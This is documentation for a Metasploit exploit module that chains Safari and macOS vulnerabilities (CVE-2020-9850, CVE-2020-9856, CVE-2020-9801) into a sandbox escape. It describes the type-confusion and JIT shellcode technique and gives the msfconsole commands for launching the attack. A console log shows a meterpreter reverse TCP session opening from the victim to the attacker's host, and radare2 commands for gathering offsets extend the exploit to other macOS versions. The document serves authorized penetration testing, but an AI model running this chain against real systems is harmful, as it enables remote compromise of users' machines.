## Vulnerable Application

This module exploits an incorrect side-effect modeling of the 'in' operator.
The DFG compiler assumes that the 'in' operator is side-effect free, however
the `<embed>` element with the PDF plugin provides a callback that can trigger
side-effects leading to type confusion (CVE-2020-9850).

The type confusion can be used as addrof and fakeobj primitives that then
lead to arbitrary read/write of memory. These primitives allow us to write
shellcode into a JIT region (RWX memory) containing the next stage of the
exploit.

The next stage uses CVE-2020-9856 to exploit a heap overflow in CVM Server,
and extracts a macOS application containing our payload into /var/db/CVMS.
The payload can then be opened with CVE-2020-9801, executing the payload
as a user but without sandbox restrictions.

## Verification Steps

1. Start `msfconsole`
1. `use exploit/osx/browser/safari_in_operator_side_effect`
1. `set LHOST <tab>`
1. `set SRVHOST <tab>`
1. `exploit`
1. Visit the URL on a vulnerable version of Safari

## Scenarios

### macOS Catalina 10.15.4

```
msf > use exploit/osx/browser/safari_in_operator_side_effect
[*] Using configured payload osx/x64/meterpreter/reverse_tcp
msf exploit(osx/browser/safari_in_operator_side_effect) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf exploit(osx/browser/safari_in_operator_side_effect) > set SRVHOST 192.168.56.1
SRVHOST => 192.168.56.1
msf exploit(osx/browser/safari_in_operator_side_effect) > set URIPATH /
URIPATH => /
msf exploit(osx/browser/safari_in_operator_side_effect) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf exploit(osx/browser/safari_in_operator_side_effect) >
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Using URL: http://192.168.56.1:8080/
[*] Server started.
[*] 192.168.56.4     safari_in_operator_side_effect - Request / from Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15
[+] 192.168.56.4     safari_in_operator_side_effect - Safari version 13.1 appears to be vulnerable
[*] 192.168.56.4     safari_in_operator_side_effect - Request /LmcM.pdf from Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15
[*] Transmitting first stager...(210 bytes)
[*] Transmitting second stager...(8192 bytes)
[*] Sending stage (799916 bytes) to 192.168.56.4
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.4:49409) at 2020-09-04 15:05:52 +0800
```

### Adding offsets for new versions

Although all macOS versions below 10.15.4 are vulnerable, some versions are not
supported. It may be possible to add support for a vulnerable version by adding
new offsets. The following commands can be used to gather some of these offsets:

```
brew install radare2
r2 /System/Library/Frameworks/JavaScriptCore.framework/Versions/Current/JavaScriptCore -2qQ -c 'af; s sym.imp.confstr; s'
r2 /usr/lib/system/libsystem_c.dylib -2qQ -c 'af; s sym._confstr; s'
r2 /usr/lib/system/libsystem_c.dylib -2qQ -c 'af; s sym.imp.dlsym; s'
r2 /usr/lib/system/libsystem_c.dylib -2qQ -c 'af; s sym.imp.dlopen; s'
```

You can then add the offsets to the module:
`modules/exploits/osx/browser/safari_proxy_object_type_confusion.rb`

You may also need to adjust the offsets here:

`external/source/exploits/CVE-2020-9850/payload/sbx/safari.mm:53`

Please don't forget to contribute the offsets back to the framework if you have
successfully tested them.

